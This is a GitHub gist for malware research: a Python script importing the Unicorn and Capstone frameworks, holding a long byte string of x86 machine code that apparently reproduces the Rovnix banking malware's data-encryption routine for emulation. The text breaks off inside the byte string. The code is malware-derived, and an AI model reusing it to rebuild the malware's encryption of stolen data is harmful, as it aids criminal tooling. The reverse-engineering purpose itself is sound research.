Skip to content

Instantly share code, notes, and snippets.

@enkomio
Created August 25, 2015 16:53
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save enkomio/0468d478783cfb263f72 to your computer and use it in GitHub Desktop.
Save enkomio/0468d478783cfb263f72 to your computer and use it in GitHub Desktop.
Rovnix key generation and data encryption
from unicorn import *
from unicorn.x86_const import *
from capstone import *
import base64
import time
from collections import deque
encrypt_data_code = b"\x55\x8B\xEC\x83\xEC\x18\x8B\x50\x20\x53\x8B\x58\x28\x56\x8B\x70\x24\x57\x8B\xF9\x33\x5F\x08\x33\x17\x33\x77\x04\x33\x98\x38\x02\x00\x00\x33\x90\x30\x02\x00\x00\x33\xB0\x34\x02\x00\x00\x8B\x48\x2C\x33\x4F\x0C\x33\x88\x3C\x02\x00\x00\x8B\xF9\x0B\xCA\x33\xFE\x89\x4D\xFC\x8B\xCB\x33\xCE\x89\x7D\xF8\x89\x4D\xEC\x33\x4D\xFC\x8B\xFE\x33\xFA\x89\x4D\xF4\x8B\xCF\x23\x7D\xF8\x23\xCB\x8B\x5D\xF8\xF7\xD3\x0B\xCB\x8B\x5D\xEC\x0B\xDA\x33\xCB\x33\xF9\x33\x7D\xF4\x33\xFA\x8B\xDF\x0B\xD9\x23\x5D\xFC\x33\xDE\xC1\xC1\x0D\xC1\xC3\x03\x8B\xF3\x33\xF7\x33\xF1\x89\x4D\xF8\xD1\xC6\x8B\xD1\xC1\xE2\x03\x33\xD3\x33\x55\xF4\x8B\xCE\xC1\xE1\x07\x33\xCB\xC1\xC2\x07\x8B\xDE\x33\x5D\xF8\x33\x70\x34\x33\xCA\x33\xDA\x33\x50\x3C\xC1\xC1\x16\x33\x48\x38\xC1\xC3\x05\x33\x58\x30\x8B\xFB\x33\xFA\x89\x7D\xF0\x8B\xFE\x33\xFA\x89\x7D\xF4\x8B\xF9\xF7\xD7\x89\x7D\xFC\x8B\xFE\x89\x5D\xF8\x23\xFB\x33\x7D\xFC\x8B\x5D\xFC\x33\x7D\xF4\x0B\xDE\x33\xCA\x89\x5D\xFC\x8B\x5D\xF4\x33\x5D\xF8\x8B\xF2\x0B\xF7\x23\xDE\x33\x5D\xFC\x8B\x75\xF0\x33\xCB\x0B\xF7\x33\xF1\x33\x75\xFC\x89\x4D\xEC\x8B\x4D\xF4\x0B\x4D\xF0\xC1\xC6\x0D\xC1\xC7\x03\x8B\xD7\x33\xD3\x33\xD6\x8B\xDE\xC1\xE3\x03\x33\xCB\x33\x4D\xEC\xD1\xC2\x33\xCF\xC1\xC1\x07\x8B\xD9\x8B\xCA\xC1\xE1\x07\x33\xCB\x33\xCF\x8B\xFB\x33\x58\x4C\x33\xFA\x33\x50\x44\x33\xFE\xC1\xC1\x16\x33\x48\x48\xC1\xC7\x05\x33\x78\x40\x89\x5D\xF4\x33\xDA\x8B\xF7\xF7\xD6\x89\x5D\xF0\x8B\xDE\x23\xD9\x33\x5D\xF0\x89\x7D\xFC\x89\x5D\xF8\x33\xD9\x8B\xFE\x0B\x75\xF4\x33\xF9\x23\xDA\x8B\xD3\x0B\x5D\xF4\x33\xD7\x0B\x7D\xF8\x23\xFB\x33\x7D\xFC\x8B\xDF\x33\xF3\xC1\x45\xF8\x0D\x33\x75\xF0\x8B\x4D\xF8\xC1\xC3\x03\x33\xF3\x33\x75\xF8\xC1\xE1\x03\x33\xF2\xD1\xC6\x33\xCB\x8B\xFE\x33\xCA\xC1\xE6\x07\x33\xF3\xC1\xC1\x07\x33\xF1\xC1\xC6\x16\x33\x70\x58\x8B\xD7\x33\x55\xF8\x33\x78\x54\x33\xD1\x33\x48\x5C\xC1\xC2\x05\x33\x50\x50\x8B\xDA\x0B\xD9\x89\x5D\xFC\x8B\xDF\x23\xDA\x89\x5D\xF4\x8B\xDE\x33\xDA\x23\x5D\xFC\x23\xD1\x0B\xD7\x33\xD3\x89\x5D\xEC\x8B\x5D\xF4\x0B\xDE\x33\x5D\xEC\x33\xDF\x8B\x7D\xFC\x33\xD9\x23\xFB\x33\x7D\xF4\x33\xFE\x8B\xF7\xF7\xD6\x23\xF2\x33\x75\xF4\x33\x75\xFC\xC1\xC6\x0D\xC1\xC7\x03\x8B\xCF\x33\xCA\x33\xCE\x8B\xD6\xC1\xE2\x03\x33\xD3\x33\xD7\xD1\xC1\xC1\xC2\x07\x8B\xD9\xC1\xE3\x07\x33\xDA\x33\xDF\x8B\x78\x6C\xC1\xC3\x16\x89\x5D\xF8\x8B\xDA\x33\xD9\x33\x48\x64\x33\xDE\x33\xFA\xC1\xC3\x05\x33\x58\x60\x8B\xF1\x33\xF3\x33\xFB\x89\x75\xFC\x0B\xF7\x33\x70\x68\x8B\xD3\xF7\xD2\x33\xF2\x33\x75\xF8\x89\x7D\xEC\x8B\xD6\xF7\xD2\x8B\xFA\x0B\xF9\x89\x7D\xF0\x33\x7D\xEC\x0B\xD3\x89\x7D\xF4\x33\xF9\x23\x7D\xF0\x8B\xCE\x23\xCB\x33\xF9\x8B\xCF\x23\x4D\xF4\xC1\xC6\x0D\x33\xD1\x33\x55\xFC\xC1\xC7\x03\x33\xD7\x33\xD6\xD1\xC2\x8B\xDA\xC1\xE2\x07\x33\xD7\x8B\xCE\xC1\xE1\x03\x33\xCF\x33\x4D\xF4\x8B\xFB\x33\x58\x74\x33\xFE\xC1\xC1\x07\x33\xD1\x33\xF9\x33\x48\x7C\xC1\xC2\x16\x33\x50\x78\xC1\xC7\x05\x33\x78\x70\x8B\xF7\xF7\xD6\x89\x75\xF0\x8B\xF3\x33\xF7\x33\xF9\x0B\xFE\x33\x7D\xF0\x33\xFA\x89\x7D\xFC\x0B\x55\xFC\x8B\xF9\xF7\xD7\x89\x7D\xF4\x23\x7D\xFC\x33\xFE\x0B\xDF\x33\xD3\x33\x55\xF4\x0B\xCF\x8B\xF2\x0B\x75\xFC\xC1\x45\xFC\x0D\x33\xCE\x33\x4D\xF0\xC1\xC1\x03\x8B\xD9\x8B\xF3\x33\xF7\x8B\x7D\xFC\x33\xF7\xD1\xC6\x8B\xCF\xC1\xE1\x03\x33\xCA\x33\xCB\xC1\xC1\x07\x8B\xD6\xC1\xE2\x07\x33\xD1\x33\xD3\x8B\xD9\x33\xDE\x33\xDF\xC1\xC2\x16\xC1\xC3\x05\x33\x90\x88\x00\x00\x00\x33\x98\x80\x00\x00\x00\x33\xB0\x84\x00\x00\x00\x33\x88\x8C\x00\x00\x00\x8B\xFA\x33\xFB\x89\x7D\xF8\x8B\xFA\x0B\xD6\x33\xFE\x89\x55\xF0\x89\x7D\xE8\xF7\xD7\x89\x7D\xFC\x8B\x7D\xF8\x33\xF9\x8B\xD7\x23\x55\xF0\x33\x7D\xFC\x89\x55\xEC\x8B\xD1\x0B\xD6\x8B\x75\xEC\x33\xF2\x8B\x55\xF0\x23\x55\xF8\x23\xCB\x33\x4D\xFC\x89\x7D\xF0\x8B\xFA\x33\x55\xE8\x23\xFE\x33\x7D\xF0\x0B\xD6\x33\x55\xF0\xC1\xC7\x0D\xC1\xC2\x03\x33\xCA\x33\xCF\xD1\xC1\x89\x75\xF4\x89\x55\xF8\x8B\xD9\x8B\xF7\xC1\xE6\x03\x33\xF2\x33\x75\xF4\x8B\xD3\x33\x98\x94\x00\x00\x00\xC1\xE2\x07\x33\x55\xF8\x33\xCF\xC1\xC6\x07\x33\xD6\xC1\xC2\x16\x33\x90\x98\x00\x00\x00\x33\xCE\x33\xB0\x9C\x00\x00\x00\xC1\xC1\x05\x33\x88\x90\x00\x00\x00\x89\x5D\xFC\x89\x4D\xF8\x8B\xCA\x33\xD3\xF7\xD1\x89\x4D\xE8\x0B\xCB\x89\x55\xF0\x8B\xF9\x33\xFE\x8B\xD7\x23\x55\xF8\x89\x55\xEC\x8B\x5D\xEC\x33\x5D\xFC\x33\x55\xF0\x0B\x5D\xF0\x89\x55\xF4\x33\x5D\xF8\x8B\x55\xEC\x33\xDE\x0B\x7D\xE8\x23\xCE\x33\xD3\x33\xFA\x8B\xF2\x23\x75\xF4\x33\xCE\x8B\xF1\x33\xFE\xC1\xC7\x0D\xC1\xC6\x03\x8B\xD6\x33\xD3\x33\xD7\x8B\xCF\xC1\xE1\x03\x33\x4D\xF4\xD1\xC2\x33\xCE\xC1\xC1\x07\x89\x75\xF8\x8B\xD9\x33\xDA\x33\xDF\x8B\xF2\x33\x90\xA4\x00\x00\x00\xC1\xE6\x07\x33\xF1\x33\x75\xF8\x33\x88\xAC\x00\x00\x00\xC1\xC6\x16\x33\xB0\xA8\x00\x00\x00\xC1\xC3\x05\x33\x98\xA0\x00\x00\x00\x8B\xF9\x0B\xCB\x33\xFA\x89\x4D\xF0\x8B\xCE\x33\xCA\x89\x7D\xEC\x8B\xF9\x33\x7D\xF0\x89\x5D\xFC\x0B\x4D\xFC\x89\x7D\xF4\x8B\xFA\x33\xFB\x8B\xDF\x23\x7D\xEC\x23\xDE\x8B\x75\xEC\xF7\xD6\x0B\xDE\x33\xD9\x33\xFB\x33\x7D\xF4\x33\x7D\xFC\x8B\xCF\x8B\xF1\x0B\xF3\x23\x75\xF0\xC1\xC3\x0D\x33\xF2\xC1\xC6\x03\x8B\xFE\x33\xF1\x33\xF3\xD1\xC6\x8B\xD3\xC1\xE2\x03\x33\xD7\x33\x55\xF4\x8B\xCE\xC1\xE1\x07\x33\xCF\xC1\xC2\x07\x33\xCA\x8B\xFE\xC1\xC1\x16\x33\xFB\x33\xB0\xB4\x00\x00\x00\x33\x88\xB8\x00\x00\x00\x33\xFA\x33\x90\xBC\x00\x00\x00\xC1\xC7\x05\x33\xB8\xB0\x00\x00\x00\x8B\xDF\x33\xDA\x89\x5D\xF0\x8B\xDE\x33\xDA\x89\x5D\xF4\x8B\xD9\xF7\xD3\x89\x5D\xEC\x89\x7D\xF8\x8B\xDE\x23\xDF\x33\x5D\xEC\x8B\x7D\xEC\x33\x5D\xF4\x0B\xFE\x33\xCA\x89\x7D\xEC\x8B\x7D\xF4\x33\x7D\xF8\x8B\xF2\x0B\xF3\x23\xFE\x33\x7D\xEC\x8B\x75\xF0\x33\xCF\x0B\xF3\x33\xF1\x33\x75\xEC\x89\x4D\xE8\x8B\x4D\xF4\x0B\x4D\xF0\xC1\xC6\x0D\xC1\xC3\x03\x8B\xD3\x33\xD7\x8B\xFE\xC1\xE7\x03\x33\xCF\x33\x4D\xE8\x33\xD6\x33\xCB\xD1\xC2\xC1\xC1\x07\x8B\xF9\x8B\xCA\xC1\xE1\x07\x33\xCF\x33\xCB\x8B\xDF\x33\xB8\xCC\x00\x00\x00\x33\xDA\x33\x90\xC4\x00\x00\x00\x33\xDE\xC1\xC1\x16\x33\x88\xC8\x00\x00\x00\xC1\xC3\x05\x33\x98\xC0\x00\x00\x00\x89\x7D\xF4\x8B\xF3\x89\x5D\xFC\x33\xFA\xF7\xD6\x8B\xDE\x23\xD9\x33\xDF\x89\x5D\xF8\x89\x7D\xEC\x33\xD9\x23\xDA\x8B\xFE\x33\xF9\x8B\xD3\x33\xD7\x0B\x7D\xF8\x0B\x5D\xF4\x0B\x75\xF4\x23\xFB\x33\x7D\xFC\x8B\xDF\x33\xF3\x33\x75\xEC\xC1\x45\xF8\x0D\xC1\xC3\x03\x33\xF3\x33\x75\xF8\x8B\x4D\xF8\x33\xF2\xD1\xC6\xC1\xE1\x03\x33\xCB\x33\xCA\x8B\xFE\xC1\xE6\x07\x33\xF3\xC1\xC1\x07\x33\xF1\xC1\xC6\x16\x33\xB0\xD8\x00\x00\x00\x8B\xD7\x33\x55\xF8\x33\xB8\xD4\x00\x00\x00\x33\xD1\x33\x88\xDC\x00\x00\x00\xC1\xC2\x05\x33\x90\xD0\x00\x00\x00\x8B\xDA\x0B\xD9\x89\x5D\xFC\x8B\xDF\x23\xDA\x89\x5D\xF4\x8B\xDE\x33\xDA\x23\x5D\xFC\x23\xD1\x0B\xD7\x33\xD3\x89\x5D\xE8\x8B\x5D\xF4\x0B\xDE\x33\x5D\xE8\x33\xDF\x8B\x7D\xFC\x33\xD9\x23\xFB\x33\x7D\xF4\x33\xFE\x8B\xF7\xF7\xD6\x23\xF2\x33\x75\xF4\x33\x75\xFC\xC1\xC6\x0D\xC1\xC7\x03\x8B\xCF\x33\xCA\x33\xCE\xD1\xC1\x8B\xD6\xC1\xE2\x03\x33\xD3\x33\xD7\xC1\xC2\x07\x8B\xD9\xC1\xE3\x07\x33\xDA\x33\xDF\xC1\xC3\x16\x89\x5D\xF8\x8B\xDA\x33\xD9\x33\xDE\xC1\xC3\x05\x33\x98\xE0\x00\x00\x00\x33\x88\xE4\x00\x00\x00\x8B\xB8\xEC\x00\x00\x00\x33\xFA\x33\xFB\x8B\xF1\x33\xF3\x89\x75\xF0\x0B\xF7\x33\xB0\xE8\x00\x00\x00\x89\x7D\xE8\x8B\xD3\xF7\xD2\x33\xF2\x33\x75\xF8\x8B\xD6\xF7\xD2\x8B\xFA\x0B\xF9\x89\x7D\xEC\x33\x7D\xE8\x0B\xD3\x89\x7D\xF4\x33\xF9\x23\x7D\xEC\x8B\xCE\x23\xCB\x33\xF9\x8B\xCF\x23\x4D\xF4\xC1\xC6\x0D\x33\xD1\x33\x55\xF0\xC1\xC7\x03\x33\xD7\x33\xD6\xD1\xC2\x8B\xCE\xC1\xE1\x03\x33\xCF\x33\x4D\xF4\x8B\xDA\xC1\xE2\x07\x33\xD7\xC1\xC1\x07\x33\xD1\x8B\xFB\x33\x98\xF4\x00\x00\x00\x33\xFE\x33\xF9\x33\x88\xFC\x00\x00\x00\xC1\xC2\x16\x33\x90\xF8\x00\x00\x00\xC1\xC7\x05\x33\xB8\xF0\x00\x00\x00\x8B\xF7\xF7\xD6\x89\x75\xEC\x8B\xF3\x33\xF7\x33\xF9\x0B\xFE\x33\x7D\xEC\x33\xFA\x89\x7D\xFC\x0B\x55\xFC\x8B\xF9\xF7\xD7\x89\x7D\xF0\x23\x7D\xFC\x33\xFE\x0B\xDF\x33\xD3\x33\x55\xF0\x0B\xCF\x8B\xF2\x0B\x75\xFC\xC1\x45\xFC\x0D\x33\xCE\x33\x4D\xEC\xC1\xC1\x03\x8B\xD9\x8B\xF3\x33\xF7\x8B\x7D\xFC\x33\xF7\xD1\xC6\x8B\xCF\xC1\xE1\x03\x33\xCA\x33\xCB\xC1\xC1\x07\x8B\xD6\xC1\xE2\x07\x33\xD1\x33\xD3\xC1\xC2\x16\x33\x90\x08\x01\x00\x00\x8B\xD9\x33\x88\x0C\x01\x00\x00\x33\xDE\x33\xB0\x04\x01\x00\x00\x33\xDF\x8B\xFA\xC1\xC3\x05\x33\x98\x00\x01\x00\x00\x33\xFB\x89\x7D\xF0\x8B\xFA\x33\xFE\x0B\xD6\x89\x7D\xF8\x89\x55\xEC\xF7\xD7\x89\x7D\xFC\x8B\x7D\xF0\x33\xF9\x8B\xD7\x23\x55\xEC\x33\x7D\xFC\x89\x55\xE8\x8B\xD1\x0B\xD6\x8B\x75\xE8\x33\xF2\x8B\x55\xEC\x23\x55\xF0\x23\xCB\x33\x4D\xFC\x89\x7D\xEC\x8B\xFA\x33\x55\xF8\x23\xFE\x33\x7D\xEC\x0B\xD6\x33\x55\xEC\xC1\xC7\x0D\xC1\xC2\x03\x33\xCA\x33\xCF\xD1\xC1\x89\x75\xF4\x8B\xD9\x89\x55\xF8\x8B\xF7\xC1\xE6\x03\x33\xF2\x33\x75\xF4\x8B\xD3\x33\x98\x14\x01\x00\x00\xC1\xE2\x07\x33\x55\xF8\xC1\xC6\x07\x33\xCF\x33\xD6\x33\xCE\xC1\xC2\x16\x33\x90\x18\x01\x00\x00\xC1\xC1\x05\x33\x88\x10\x01\x00\x00\x33\xB0\x1C\x01\x00\x00\x89\x4D\xF8\x89\x5D\xFC\x8B\xCA\x33\xD3\xF7\xD1\x89\x4D\xE8\x0B\xCB\x8B\xF9\x33\xFE\x89\x55\xEC\x8B\xD7\x23\x55\xF8\x0B\x7D\xE8\x23\xCE\x89\x55\xF0\x33\x55\xEC\x8B\x5D\xF0\x33\x5D\xFC\x89\x55\xF4\x0B\x5D\xEC\x8B\x55\xF0\x33\x5D\xF8\x33\xDE\x33\xD3\x33\xFA\x8B\xF2\x23\x75\xF4\x33\xCE\x8B\xF1\x33\xFE\xC1\xC7\x0D\xC1\xC6\x03\x8B\xD6\x33\xD3\x33\xD7\x8B\xCF\xC1\xE1\x03\x33\x4D\xF4\x89\x75\xF8\x33\xCE\xD1\xC2\xC1\xC1\x07\x8B\xD9\x33\xDA\x33\xDF\x8B\xF2\x33\x90\x24\x01\x00\x00\xC1\xE6\x07\x33\xF1\x33\x75\xF8\x33\x88\x2C\x01\x00\x00\xC1\xC6\x16\x33\xB0\x28\x01\x00\x00\xC1\xC3\x05\x33\x98\x20\x01\x00\x00\x8B\xF9\x0B\xCB\x33\xFA\x89\x4D\xF0\x89\x7D\xEC\x8B\xCE\x33\xCA\x8B\xF9\x33\x7D\xF0\x89\x5D\xFC\x0B\x4D\xFC\x89\x7D\xF4\x8B\xFA\x33\xFB\x8B\xDF\x23\x7D\xEC\x23\xDE\x8B\x75\xEC\xF7\xD6\x0B\xDE\x33\xD9\x33\xFB\x33\x7D\xF4\x33\x7D\xFC\x8B\xCF\x8B\xF1\x0B\xF3\x23\x75\xF0\xC1\xC3\x0D\x33\xF2\xC1\xC6\x03\x8B\xFE\x33\xF1\x33\xF3\xD1\xC6\x8B\xD3\xC1\xE2\x03\x33\xD7\x33\x55\xF4\x8B\xCE\xC1\xE1\x07\x33\xCF\xC1\xC2\x07\x33\xCA\xC1\xC1\x16\x33\x88\x38\x01\x00\x00\x8B\xFE\x33\xB0\x34\x01\x00\x00\x33\xFB\x33\xFA\x33\x90\x3C\x01\x00\x00\xC1\xC7\x05\x33\xB8\x30\x01\x00\x00\x8B\xDF\x33\xDA\x89\x5D\xF0\x8B\xDE\x33\xDA\x89\x5D\xF4\x8B\xD9\xF7\xD3\x89\x5D\xEC\x8B\xDE\x23\xDF\x33\x5D\xEC\x89\x7D\xF8\x33\x5D\xF4\x8B\x7D\xEC\x0B\xFE\x33\xCA\x89\x7D\xEC\x8B\x7D\xF4\x33\x7D\xF8\x8B\xF2\x0B\xF3\x23\xFE\x33\x7D\xEC\x8B\x75\xF0\x33\xCF\x0B\xF3\x33\xF1\x33\x75\xEC\x89\x4D\xE8\x8B\x4D\xF4\x0B\x4D\xF0\xC1\xC6\x0D\xC1\xC3\x03\x8B\xD3\x33\xD7\x8B\xFE\xC1\xE7\x03\x33\xCF\x33\x4D\xE8\x33\xD6\x33\xCB\xD1\xC2\xC1\xC1\x07\x8B\xF9\x8B\xCA\xC1\xE1\x07\x33\xCF\x33\xCB\x8B\xDF\x33\xDA\x33\xDE\xC1\xC1\x16\xC1\xC3\x05\x33\x98\x40\x01\x00\x00\x33\x90\x44\x01\x00\x00\x89\x5D\xFC\x33\xB8\x4C\x01\x00\x00\x33\x88\x48\x01\x00\x00\x8B\xF3\xF7\xD6\x8B\xDE\x23\xD9\x89\x7D\xF4\x33\xFA\x33\xDF\x89\x5D\xF8\x33\xD9\x23\xDA\x89\x7D\xEC\x8B\xFE\x0B\x75\xF4\x33\xF9\x8B\xD3\x0B\x5D\xF4\x33\xD7\x0B\x7D\xF8\x23\xFB\x33\x7D\xFC\x8B\xDF\x33\xF3\x33\x75\xEC\xC1\x45\xF8\x0D\x8B\x4D\xF8\xC1\xC3\x03\x33\xF3\x33\x75\xF8\xC1\xE1\x03\x33\xF2\x33\xCB\xD1\xC6\x33\xCA\x8B\xFE\xC1\xE6\x07\x33\xF3\xC1\xC1\x07\x33\xF1\x8B\xD7\x33\x55\xF8\x33\xB8\x54\x01\x00\x00\x33\xD1\x33\x88\x5C\x01\x00\x00\xC1\xC6\x16\x33\xB0\x58\x01\x00\x00\xC1\xC2\x05\x33\x90\x50\x01\x00\x00\x8B\xDA\x0B\xD9\x89\x5D\xFC\x8B\xDF\x23\xDA\x89\x5D\xF4\x8B\xDE\x33\xDA\x23\x5D\xFC\x23\xD1\x0B\xD7\x33\xD3\x89\x5D\xE8\x8B\x5D\xF4\x0B\xDE\x33\x5D\xE8\x33\xDF\x8B\x7D\xFC\x33\xD9\x23\xFB\x33\x7D\xF4\x33\xFE\x8B\xF7\xF7\xD6\x23\xF2\x33\x75\xF4\x33\x75\xFC\xC1\xC6\x0D\xC1\xC7\x03\x8B\xCF\x33\xCA\x33\xCE\xD1\xC1\x8B\xD6\xC1\xE2\x03\x33\xD3\x33\xD7\xC1\xC2\x07\x8B\xD9\xC1\xE3\x07\x33\xDA\x33\xDF\x8B\xB8\x6C\x01\x00\x00\x33\xFA\xC1\xC3\x16\x89\x5D\xF8\x8B\xDA\x33\xD9\x33\x88\x64\x01\x00\x00\x33\xDE\xC1\xC3\x05\x33\x98\x60\x01\x00\x00\x8B\xF1\x33\xFB\x33\xF3\x89\x75\xF0\x0B\xF7\x33\xB0\x68\x01\x00\x00\x89\x7D\xE8\x8B\xD3\xF7\xD2\x33\xF2\x33\x75\xF8\x8B\xD6\xF7\xD2\x8B\xFA\x0B\xF9\x89\x7D\xEC\x33\x7D\xE8\x0B\xD3\x89\x7D\xF4\x33\xF9\x23\x7D\xEC\x8B\xCE\x23\xCB\x33\xF9\x8B\xCF\x23\x4D\xF4\xC1\xC6\x0D\x33\xD1\x33\x55\xF0\xC1\xC7\x03\x33\xD7\x33\xD6\xD1\xC2\x8B\xCE\xC1\xE1\x03\x33\xCF\x33\x4D\xF4\x8B\xDA\xC1\xE2\x07\x33\xD7\xC1\xC1\x07\x33\xD1\x8B\xFB\x33\x98\x74\x01\x00\x00\x33\xFE\x33\xF9\x33\x88\x7C\x01\x00\x00\xC1\xC2\x16\x33\x90\x78\x01\x00\x00\xC1\xC7\x05\x33\xB8\x70\x01\x00\x00\x8B\xF7\xF7\xD6\x89\x75\xEC\x8B\xF3\x33\xF7\x33\xF9\x0B\xFE\x33\x7D\xEC\x33\xFA\x89\x7D\xFC\x0B\x55\xFC\x8B\xF9\xF7\xD7\x89\x7D\xF0\x23\x7D\xFC\x33\xFE\x0B\xDF\x33\xD3\x33\x55\xF0\x0B\xCF\x8B\xF2\x0B\x75\xFC\xC1\x45\xFC\x0D\x33\xCE\x33\x4D\xEC\xC1\xC1\x03\x8B\xD9\x8B\xF3\x33\xF7\x8B\x7D\xFC\x33\xF7\x8B\xCF\xC1\xE1\x03\x33\xCA\xD1\xC6\x33\xCB\xC1\xC1\x07\x8B\xD6\xC1\xE2\x07\x33\xD1\x33\xD3\xC1\xC2\x16\x33\x90\x88\x01\x00\x00\x8B\xD9\x33\x88\x8C\x01\x00\x00\x33\xDE\x33\xB0\x84\x01\x00\x00\x33\xDF\x8B\xFA\xC1\xC3\x05\x33\x98\x80\x01\x00\x00\x33\xFB\x89\x7D\xF0\x8B\xFA\x33\xFE\x0B\xD6\x89\x7D\xF8\xF7\xD7\x89\x7D\xFC\x8B\x7D\xF0\x33\xF9\x89\x55\xEC\x8B\xD7\x23\x55\xEC\x33\x7D\xFC\x89\x55\xE8\x8B\xD1\x0B\xD6\x8B\x75\xE8\x33\xF2\x8B\x55\xEC\x23\x55\xF0\x89\x7D\xEC\x8B\xFA\x33\x55\xF8\x23\xFE\x33\x7D\xEC\x0B\xD6\x33\x55\xEC\x23\xCB\x33\x4D\xFC\xC1\xC7\x0D\xC1\xC2\x03\x89\x75\xF4\x33\xCA\x33\xCF\x8B\xF7\xC1\xE6\x03\xD1\xC1\x89\x55\xF8\x33\xF2\x33\x75\xF4\x8B\xD1\xC1\xE2\x07\x33\x55\xF8\xC1\xC6\x07\x33\xD6\xC1\xC2\x16\x33\x90\x98\x01\x00\x00\x8B\xD9\x33\x88\x94\x01\x00\x00\x33\xDF\x33\xDE\x33\xB0\x9C\x01\x00\x00\x8B\xFA\x33\xD1\xF7\xD7\x89\x7D\xF0\x0B\xF9\xC1\xC3\x05\x33\x98\x90\x01\x00\x00\x89\x4D\xFC\x89\x7D\xE8\x33\xFE\x89\x55\xEC\x8B\xCF\x23\xCB\x0B\x7D\xF0\x8B\xD1\x33\x55\xEC\x89\x55\xF4\x8B\xD1\x33\x55\xFC\x0B\x55\xEC\x33\xD3\x33\xD6\x33\xCA\x33\xF9\x8B\xD9\x23\x5D\xF4\x89\x55\xF8\x8B\x55\xE8\x23\xD6\x33\xDA\x33\xFB\xC1\xC7\x0D\xC1\xC3\x03\x8B\xD3\x33\x55\xF8\x8B\xCF\x33\xD7\xC1\xE1\x03\x33\x4D\xF4\xD1\xC2\x33\xCB\xC1\xC1\x07\x8B\xF2\xC1\xE6\x07\x33\xF1\x33\xF3\x8B\xD9\x33\x88\xAC\x01\x00\x00\x33\xDA\x33\x90\xA4\x01\x00\x00\x33\xDF\xC1\xC6\x16\x33\xB0\xA8\x01\x00\x00\xC1\xC3\x05\x33\x98\xA0\x01\x00\x00\x8B\xF9\x0B\xCB\x33\xFA\x89\x4D\xF0\x89\x7D\xEC\x8B\xCE\x33\xCA\x8B\xF9\x33\x7D\xF0\x89\x5D\xFC\x89\x7D\xF4\x8B\xFA\x33\xFB\x0B\x4D\xFC\x8B\xDF\x23\x7D\xEC\x23\xDE\x8B\x75\xEC\xF7\xD6\x0B\xDE\x33\xD9\x33\xFB\x33\x7D\xF4\x33\x7D\xFC\x8B\xCF\x8B\xF1\x0B\xF3\x23\x75\xF0\xC1\xC3\x0D\x33\xF2\xC1\xC6\x03\x8B\xFE\x33\xF1\x33\xF3\xD1\xC6\x8B\xD3\xC1\xE2\x03\x33\xD7\x33\x55\xF4\x8B\xCE\xC1\xE1\x07\x33\xCF\xC1\xC2\x07\x33\xCA\x8B\xFE\x33\xB0\xB4\x01\x00\x00\x33\xFB\x33\xFA\x33\x90\xBC\x01\x00\x00\xC1\xC1\x16\x33\x88\xB8\x01\x00\x00\xC1\xC7\x05\x33\xB8\xB0\x01\x00\x00\x8B\xDF\x33\xDA\x89\x5D\xF0\x8B\xDE\x33\xDA\x89\x5D\xF4\x8B\xD9\xF7\xD3\x89\x5D\xEC\x8B\xDE\x23\xDF\x33\x5D\xEC\x89\x7D\xF8\x8B\x7D\xEC\x33\x5D\xF4\x0B\xFE\x89\x7D\xEC\x8B\x7D\xF4\x33\x7D\xF8\x8B\xF2\x0B\xF3\x23\xFE\x33\x7D\xEC\x8B\x75\xF0\x33\xCA\x33\xCF\x0B\xF3\x33\xF1\x33\x75\xEC\x89\x4D\xE8\x8B\x4D\xF4\x0B\x4D\xF0\xC1\xC6\x0D\xC1\xC3\x03\x8B\xD3\x33\xD7\x33\xD6\x8B\xFE\xC1\xE7\x03\xD1\xC2\x33\xCF\x33\x4D\xE8\x33\xCB\xC1\xC1\x07\x8B\xF9\x8B\xCA\xC1\xE1\x07\x33\xCF\x33\xCB\x8B\xDF\x33\xB8\xCC\x01\x00\x00\x33\xDA\x33\x90\xC4\x01\x00\x00\x33\xDE\xC1\xC1\x16\x33\x88\xC8\x01\x00\x00\xC1\xC3\x05\x33\x98\xC0\x01\x00\x00\x89\x7D\xF4\x8B\xF3\x33\xFA\x89\x5D\xFC\xF7\xD6\x8B\xDE\x23\xD9\x33\xDF\x89\x5D\xF8\x33\xD9\x23\xDA\x8B\xD3\x0B\x5D\xF4\x89\x7D\xEC\x8B\xFE\x0B\x75\xF4\x33\xF9\x33\xD7\x0B\x7D\xF8\x23\xFB\x33\x7D\xFC\x8B\xDF\x33\xF3\x33\x75\xEC\xC1\x45\xF8\x0D\x8B\x4D\xF8\xC1\xC3\x03\x33\xF3\x33\x75\xF8\xC1\xE1\x03\x33\xF2\x33\xCB\xD1\xC6\x33\xCA\x8B\xFE\xC1\xE6\x07\x33\xF3\xC1\xC1\x07\x8B\xD7\x33\x55\xF8\x33\xB8\xD4\x01\x00\x00\x33\xD1\x33\xF1\x33\x88\xDC\x01\x00\x00\xC1\xC6\x16\x33\xB0\xD8\x01\x00\x00\xC1\xC2\x05\x33\x90\xD0\x01\x00\x00\x8B\xDA\x0B\xD9\x89\x5D\xFC\x8B\xDF\x23\xDA\x89\x5D\xF4\x8B\xDE\x33\xDA\x23\x5D\xFC\x23\xD1\x0B\xD7\x89\x5D\xE8\x33\xD3\x8B\x5D\xF4\x0B\xDE\x33\x5D\xE8\x33\xDF\x33\xD9\x8B\x7D\xFC\x23\xFB\x33\x7D\xF4\x33\xFE\x8B\xF7\xF7\xD6\x23\xF2\x33\x75\xF4\x33\x75\xFC\xC1\xC6\x0D\xC1\xC7\x03\x8B\xCF\x33\xCA\x33\xCE\xD1\xC1\x8B\xD6\xC1\xE2\x03\x33\xD3\x33\xD7\xC1\xC2\x07\x8B\xD9\xC1\xE3\x07\x33\xDA\x33\xDF\x8B\xB8\xEC\x01\x00\x00\xC1\xC3\x16\x33\xFA\x89\x5D\xF8\x8B\xDA\x33\xD9\x33\x88\xE4\x01\x00\x00\x33\xDE\xC1\xC3\x05\x33\x98\xE0\x01\x00\x00\x8B\xF1\x33\xFB\x33\xF3\x89\x75\xF0\x0B\xF7\x33\xB0\xE8\x01\x00\x00\x8B\xD3\xF7\xD2\x33\xF2\x33\x75\xF8\x89\x7D\xE8\x8B\xD6\xF7\xD2\x8B\xFA\x0B\xF9\x89\x7D\xEC\x33\x7D\xE8\x0B\xD3\x89\x7D\xF4\x33\xF9\x23\x7D\xEC\x8B\xCE\x23\xCB\x33\xF9\x8B\xCF\x23\x4D\xF4\xC1\xC6\x0D\x33\xD1\x33\x55\xF0\xC1\xC7\x03\x33\xD7\x33\xD6\xD1\xC2\x8B\xCE\xC1\xE1\x03\x33\xCF\x33\x4D\xF4\x8B\xDA\xC1\xE2\x07\x33\xD7\xC1\xC1\x07\x33\xD1\x8B\xFB\xC1\xC2\x16\x33\xFE\x33\x98\